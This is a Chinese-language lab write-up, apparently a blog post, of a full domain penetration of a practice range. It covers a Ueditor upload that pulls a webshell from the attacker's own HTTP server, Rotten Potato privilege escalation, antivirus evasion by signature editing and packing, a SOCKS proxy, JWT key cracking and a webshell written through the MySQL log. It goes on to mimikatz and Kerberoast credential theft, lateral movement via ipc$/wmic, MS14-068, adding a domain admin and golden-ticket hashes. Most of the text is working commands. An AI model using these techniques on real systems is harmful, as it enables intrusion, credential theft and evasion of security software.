記一次簡單的域滲透實驗
0x00 環境搭建

必要的準備
第一步:因為這個靶場需要綁定域名,普通ip訪問不到。
windows:C:\Windows\System32\drivers\etc\host
linux: /etc/hosts
第二步:這里是前往data1的必經之路,沒配就打不下去了。

0x01 外網打點
在攻擊之前,我們需要對目標進行收集信息,一般我都是使用masscan+nmap掃描存活主機和端口。dirsearch掃描網站目錄
masscan可以快速掃描存在的端口,然后用nmap仔細掃描
信息收集:
masscan -i eth0 172.18.10.7
nmap -sC -sV -A 172.18.10.7
dirsearch.py -u www.ackmoon.com

根據圖片,我們可以收集到有用的信息,開放了web和ftp,但是沒有開放3306端口,是一個win2012的服務器,然后嘗試使用ip:端口網頁連接,發現了999端口是phpmyadmin,嘗試了密碼爆破,沒有結果,尋找一下其他的入口。
使用dirsearch掃描www.ackmoon.com的域名
dirsearch.py -u www.ackmoon.com

對200的網站嘗試登錄,只有http://www.ackmoon.com/admin可以利用。

沒有sql注入,先注冊一個賬號吧。

登錄后發現這個網站是hdhcms,物理路徑和數據庫都知道了,還有個可以利用的編輯器漏洞Ueditor 1.4.3。
上網搜索這個hdhcms是開源的,我們下載源碼,搜索我們需要利用的文件。

嘗試一下能不能夠利用。
構造payload:www.ackmoon.com/Admin/net/controller.ashx?action=catchimage

可以利用。上傳我們的POC
action="http://www.ackmoon.com/Admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
shell addr: type="text" name="source[]" />
type="submit" value="Submit" />
使用python -m SimpleHTTPServer 8001開啟臨時的http。上傳一句話木馬http://172.18.11.204:8001/1.gif?.aspx

得到了上傳路徑,我們嘗試連接蟻劍。

上線后第一步,查看自己所獲取的權限whoami。一般都是web權限,那么現在要做的就是收集信息提權
目標的進程 ----tasklist(查看有無防護軟件)
目標網絡 ----ipconfig /all
目標內網主機 ----arp -a(下一步滲透主機)
目標補丁 ----systeminfo(漏洞利用)---->漏洞檢測使用msf:getsystem、post/multi/recon/local_exploit_suggester模塊;Windows-Exploit-Suggester檢測。
查看自啟程序 ----wmic startup get caption,command(計劃任務可以使用)
查看主機開機時間--net statistics workstation(看一下主機是否長期開機)
無引號提權 ----wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """
查看目錄權限 icacls "c:"

發現了下一層網段網絡存活的主機192.168.22.133、192.168.22.135
把systeninfo導入到system.txt用Windows-Exploit-Suggester檢測一下可以利用的漏洞

發現常用漏洞ms16-075(爛土豆)、ms15-051提權的時候可以使用。看到爛土豆就查看Selmpersonate權限或者SeAssignPrimaryToken權限是否啟動。

可以使用,提權方法已經找到了,我們看看是否存在防護軟件。

發現了360全家桶和護衛神,需要做一下免殺。
免殺分享
剛開始做免殺,發現自己沒有地方下手,網上搜索的大多都是代碼和原理,而代碼大多都是已經被加上特征值,這對于我這個剛接觸免殺的小萌新極其不友好=,=
這個時候需要學習一下免殺的手段
低級:修改入口點、加殼偽裝、加密,修改特征碼
高級:代碼混淆,遠程下載代碼,加花
最近還學了一個msf的python版本,現在依然能夠免殺。可惜,目標環境并沒有python環境。ps:如果使用visual studio進行代碼加工需要注意的地方(原因是加工成exe文件,在其他主機使用會出現丟失dll)

作為一名剛剛接觸免殺的小萌新,我覺得很有必要學習一下以前的工具,我主要介紹一下我免殺時用到的方法修改特征碼和加殼,使用的也是很老的工具myccl、c32asm、upx。ps:別看工具老,很實用!!!

定位后可以到c32asm的16進制模式定位區間:ctrl+G

加殼就簡單了,直接丟進去就完事了。做到這里360、火絨這種日常殺軟都可以免殺通過,附帶我的一個cs通過表示慶祝。

回到正文
開始我們正式的提權之路。
我一開始使用msf的getsystem和post/multi/recon/local_exploit_suggester模塊并沒有發現可以提權的漏洞???不是有爛土豆和ms15-051嗎,可能是存在360。然后又嘗試了Windows-Exploit-Suggester檢測到的漏洞,從github下載的也使用不了。又查看了無引號服務也沒有發現可以提權的點。最后通過蟻劍上傳cs碼,使用resbus插件的爛土豆模塊提權成功了,真是一波三折,不過還是提權了。


0x02 橫向滲透
拿下了web1,我們需要對data1進行攻擊,根據提示,它是一個站庫分離的考點,那么我們先對data1的端口進行掃描

這應該是一個mssql服務器,web1是網頁,data1是數據庫,實現了站庫分離,也是這個靶場的考點之一。現在就是要找到登錄數據庫的方法。web1的數據需要存放,那么只要找到hdhcms的數據庫配置就能找到data1的賬號和密碼。
因此就有了之前修改HdhApp.config,不然就做不下去了

賬號:sa 密碼:pass123@.com
因為navicat上傳文件有點困難,我就借助一下大馬來進行操作了/滑稽 ps:等結束后學習一下寫大馬的思路。說不定可以學到不一樣的東西。
連接到大馬,查看有無防護軟件

發現了火絨,做一下免殺,直接用cs上線。上傳文件到c:\users\public。然后執行,然后systeminfo找可以利用的漏洞,這里就不放圖了,和web1的操作一樣,拿下data1的system權限。直接拿下data1。

好了打到現在已經不需要web1主機了,我們給它關閉了把,主要是我的內存不夠用了,我怕我做著做著就卡死了。/滑稽
我們開始打另一個存活的主機web2,因為我們訪問不到192.168.22.0網段,所以我們需要開啟代理模式,這里我使用的是ew。因為我沒有使用frp,所以我可以直接訪問到data1服務器,所以我們在data1服務器可以直接使用正向sock代理ew_for_win.exe -s ssocksd -l 1080

然后后在sudo vim /etc/proxychians4.conf里添加socks5 172.18.12.235 1080就可以使用了。
準備工作做完,我們開始對web2進行信息收集,不知道為什么masscan掃描出來的端口只有80,8080。因此我們使用nmap嘗試掃描最常用的一些端口80,135,445,8080,3389。記得要加上proxychians代理哦~

好像沒有什么可以利用的地方,我們先登錄一下網站把。

好像放了個海哦,給了提示使用JWT實戰:axios+PHP實現登錄認證,但是我們也可以使用dirsearch掃描一下該網站的目錄。

得了,這還看個鬼,看了一遍眼睛都要花了。嘗試一下提示的漏洞吧。上網搜了一下jwt的漏洞利用---->傳送門
根據poc,找到token

這里應該是爆破HMAC密鑰,跟著使用hashcat。
payload:hashcat -m 16500 jwt.txt -a 0 rockyou.txt -o s.txt ps:rockyou.txt應該是比較全的字典了,反正在wordlists上找到的。

沒想到竟然爆破出了Qweasdzxc5,而且我都不知道這個東西是什么有什么用=。=跟著教程走,發現并沒有什么卵用。
做到這里已經沒有什么思路了,這個JWT沒怎么遇到過,所以我直接懵逼啦,只能看看wp了。
原來是Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02的問題,之前看過類似的文章,但是到實戰的時候,好像就當這東西不存在了,基本沒有注意到。并且這個竟然是phpmyadmin的密碼,這是我萬萬沒有想到的。還是自己接觸的知識不夠多。
再者還有一種方法是構造admin用戶簽名后的jwt。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJhdWQiOiJodHRwOi8vMTAuMTAuMS4xMzUiLCJpYXQiOjE2MzE5MjYzNzIsIm5iZiI6MTYzMTkyNjM4MiwiZXhwIjoxNjMxOTI2OTcyLCJkYXRhIjp7InVzZXJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9fQ.R8v4SX2Fcu-zZjiPw6esGskfTDbqyZ4WEmFuNWksPkg
反思:這是window系統,搭建使用apache就非常的可疑,使用的是phpstudy。但是如何知道是什么版本的呢?
我認為噢,知道它是phpstudy,可以通過bp把版本爆破出來,當然,這屬于馬后炮了。這也算是一個下下策吧,我也想不出有什么好辦法。到后面發現,只有最新版的小皮的管理界面是帶版本的。phpstudy2018并不需要。
那么登錄phpmyadmin后就是套路了。
找到絕對路徑
查看有沒有寫入權限---->沒有就使用日志寫入
show global variables like '%secure_file_priv%';看查有無直接寫入權限,發現并沒有,直接查找日志。

show global variables like "%genera%";查看日志文件情況

直接開啟日志,因為它是phpstudy嘛,很輕松就可以構造出它的網站根目錄地址
開啟日志記錄
set global general_log='on';
日志文件導出指定目錄(一般導入網站根目錄)
set global general_log_file='C:\\phpstudy_pro\\WWW\\c0nfig.php'; #這里是window,\會被過濾,需要\\
記錄sql語句寫馬,演示一下,沒有安全狗,直接傳原馬
select '';
修改回原來的路徑 #這里顯示不全就不改了,正常來說應該消除痕跡的
set global general_log_file='修改';
關閉記錄
set global general_log=off;
用蟻劍連接,先看看權限,在看有無殺毒軟件。

發現直接是system權限,就無需再提權了,并且沒有找到殺軟,可以直接上傳我們的cs。
這里說一下,因為內網網段不能直接訪問我們,所以我們需要使用正向連接,用無狀態window木馬或者使用反向連接到data1主機上好處:規避防火墻

在蟻劍執行cs木馬后,在data1的會話中執行connect 192.168.22.135 6669,等待web2主機上線。
接下來,就是信息收集了,說說我自己收集的思路吧。
ipconfig /all ----->判斷是否有主域,
nltest /domain_trusts ----->查看是否有林域
net group "domain controllers" /domain ----->查看主域是哪一臺服務器
net time /domain ----->快速定位域控ip,一般是dns、時間服務器:----接ping
net group "domaincontrollers" /domain ----->查看域控制器
net user /domain ----->查看域內的組成員
net group "domain admins" /domain ----->查看域內的管理員
net accounts /domain ----->獲取域密碼強度信息
內網主機
net view ----->查看共享資料
arp -a ----->arp路由表
ipconfig /displaydns ----->dns緩存
憑據收集
logonpasswords ----->cs模塊mimikatz獲取信息
mimikatz kerberos::list /export ----->github上的kerberos
尋找域控管理員的賬號 ----->python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi

ipconfig /all 發現了域ack123.com和新的網段10.10.10.0
找出主域控。

找存活主機

尋找主域憑證
方法一:爆破krbtgt,導入到kali,用github的kerberoast中的tgsrepcrack.py爆破,構造:python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi

得到了主域的管理員賬號administratorP@55w0rd!有了賬號和密碼,我們可以使用cs的psexec或者ipc$上傳payload后執行。

方法二:找到administrator的NTML(hash)值mimikatz sekurlsa::logonpasswords

在md5網站嘗試爆破

信息收集
域:ack123.com
主域:10.10.10.135
存活主機:10.10.10.136
主域管理員賬號:administrator P@55w0rd!
憑證信息
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b78ee36a79ed9763b66519f86825a6bd
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
moonsec:1001:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387
方法一:pexecs
這里需要新建一個監聽器,讓域內的主機可以訪問到我們的受害機,這樣在轉發信息到我們的服務器。

方法二:ipc$上傳文件并執行
net use \\10.10.10.136\ipc$ /user:administrator "P@55w0rd!"
上傳cs木馬: copy c:\users\public\beacon2.exe \\10.10.10.136\c$\users\public\beacon2.exe
執行命令: wmic /node:10.10.10.136 /user:ack123\administrator /password:P@55w0rd! process call create "c:\users\public\beacon2.exe"

做到這里基本都拿下來,但是我感覺還是不夠,在《內網安全攻防:滲透測試指南》這本書中還有一些沒有使用出來的操作,這里也一并使用一下。畢竟不是每次都能成功爆破出主域管理員的密碼,你們說對吧。
先是利用MS14-068來將用戶的權限提升到域管權限
檢查是否有提權漏洞,其補丁為 3011780,我們執行命令: systeminfo |find "3011780",如果返回為空就說明沒有打補丁,存在MS14-068漏洞。
MS14-068.exe -u 域成員名@域名 -p 域成員密碼 -s 域成員sid -d 域控制器地址
添加一個域管用戶aaa:
net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain
構造黃金票據
偽造金票的所需條件:
1、域名稱
2、krbtgt的SID值
3、域的KRBTGT賬號的Hash
4、偽造任意用戶名域的名稱我們已經知道,需要的用戶名也是任意偽造一個就行,下面我們的目的就是拿到krbtgt的NTLM Hash和SID。


administrator
sid :S-1-5-21-2015848930-1301831522-615504165
NTLM : bc23a1506bd3c8d3a533680c516bab27
SHA1 : 92bba0d597b5558b58db8e7a2167c9f9e04f1413
DPAPI : 771a067e3346d70181772f8b634ef03e
krbtgt
hash :fb979da43f63a991f8f5599add59e01c

可以看到黃金票據已經創建成功了。
使用方法:

0x03 總結
流程
1.通過Ueditor 1.4.3漏洞獲取webshell權限
2.通過cs的erebus插件的爛土豆提權至system
3.通過web1獲取data1的mssql數據庫賬號密碼,并用大馬上傳cs馬提權。
4.通過JWT漏洞獲取phpmyadmin的密碼,通過phpmyadmin管理界面寫webshell一句話并上傳cs
5.通過爆破主域管理員賬號administrator的hash密碼,進行pesecs或ipc$橫向獲取主機
總體做下來還是十分有挑戰性的,沒開始做之前沒想到中間的挫折會有這么多,當真正實戰才發現會有許多的技巧點。邊緣打點我感覺更多是靠知識的積累,內網更多是看如何快速拿下域控并且不被發現。